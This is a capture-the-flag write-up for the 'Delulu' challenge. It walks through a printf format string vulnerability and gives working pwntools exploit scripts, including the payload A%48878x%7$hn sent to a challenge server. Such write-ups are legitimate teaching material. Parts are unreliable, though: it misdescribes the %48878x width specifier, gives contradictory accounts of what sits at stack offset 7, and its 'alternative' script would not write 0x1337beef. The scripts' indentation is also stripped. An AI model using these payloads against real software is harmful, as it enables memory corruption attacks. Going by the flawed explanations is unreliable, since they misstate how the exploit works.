2024 Cyber Apocalypse: Delulu

Challenge Information

AttributeDetails
Event2024 Cyber Apocalypse
CategoryBinary Exploitation
ChallengeDelulu
DifficultyVery Easy

Summary

Delulu is a format string vulnerability challenge where participants must exploit printf() to overwrite a flag variable. The program reads user input into a buffer and passes it directly to printf(), creating a classic format string vulnerability. By crafting a precise payload using format string specifiers, the flag value can be changed from 0x1337babe to 0x1337beef.


Analysis

Binary Security Properties

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Stack Layout

The vulnerability exists in the stack layout:

  • flag variable: located at RBP - 0x48
  • user_input buffer: located at RBP - 0x38
  • Difference: 0x10 (16 bytes)

The Vulnerability

The program uses printf() with user input:

char user_input[8];
int flag = 0x1337babe;
fgets(user_input, 256, stdin); // Buffer overflow
printf(user_input); // Format string vulnerability

The printf() function interprets format specifiers in the input, allowing us to:

  1. Read from arbitrary stack locations (%x, %p)
  2. Write to arbitrary stack locations (%n, %hn)

Solution

Step 1: Identify Target Location

Through testing, the flag variable 0x1337babe is located at the 7th offset on the stack when viewing format string outputs.

Step 2: Craft the Exploit Payload

To change 0x1337babe to 0x1337beef, we need to overwrite just the lower 2 bytes from 0xbabe to 0xbeef.

The payload structure:

A%48878x%7$hn

Components:

  • A - Single character (1 byte printed)
  • %48878x - Print 48878 integers with 0-padding, bringing total output to 48879 bytes (0xbeef)
  • %7$hn - Write the lower 2 bytes of output count (0xbeef) to the pointer at offset 7

Step 3: Understanding the Write

The %7$hn format specifier:

  • Accesses the 7th argument on the stack (which is a pointer to our flag variable)
  • Writes a 2-byte (half-word) value containing the count of characters printed so far

Complete Exploit

from pwn import *
# Connect to the challenge
p = remote('94.237.51.203', 55418)
# Receive the initial prompt
print(p.recvuntil(b'your ID.\n').decode())
# Craft the payload
payload = b"A" + b"%48878x" + b"%7$hn"
# Send payload
p.sendline(payload)
# Receive and display response
response = p.recvall()
print(response.decode())

Alternative Testing Approach

from pwn import *
def main():
binary_path = './delulu'
# Connect to process
p = process(binary_path)
# Receive initial output
print(p.recvuntil(b'your ID.\n').decode())
# Build payload
padding = b"A" * 8
payload = padding
payload += b"%x" * 6 # Adjust to position
payload += b"1337beef"
payload += b"%n"
# Send
p.sendline(payload)
# Receive response
response = p.recvall()
print(response.decode())
if __name__ == '__main__':
main()

Key Takeaways

  • Format string vulnerabilities arise from using unsanitized user input in printf-family functions
  • The %x specifier reads from the stack, useful for information disclosure
  • The %n and %hn specifiers write to memory, enabling arbitrary write primitives
  • Stack layout knowledge is crucial for exploitation
  • Padding characters can control the count used by %n for precise value writing
  • Full RELRO, NX, and PIE protections don’t prevent this vulnerability type

Flag: HTB{f0rm4t_5tr1ng_1s_d3lulu}